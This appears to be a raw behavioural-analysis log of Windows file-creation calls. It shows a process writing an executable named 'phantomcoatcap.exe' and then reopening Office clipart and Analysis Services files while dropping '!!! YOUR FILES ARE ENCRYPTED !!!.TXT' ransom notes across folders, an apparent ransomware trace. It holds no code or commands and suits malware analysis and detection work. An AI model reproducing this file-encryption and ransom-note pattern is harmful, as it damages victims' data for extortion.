Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\photograph.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-image-inset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-bullet.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\header-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passportcover.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\PassportMask_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_right.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\selection_subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\travel.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\videowall.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\vignettemask25.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\Microsoft Analysis Services\phantomcoatcap.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql2000.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msmdsrv.rll desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00011_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00040_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00057_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00092_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00126_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00129_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00135_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00139_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00142_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00158_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00161_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00165_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00010_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00015_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00790_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
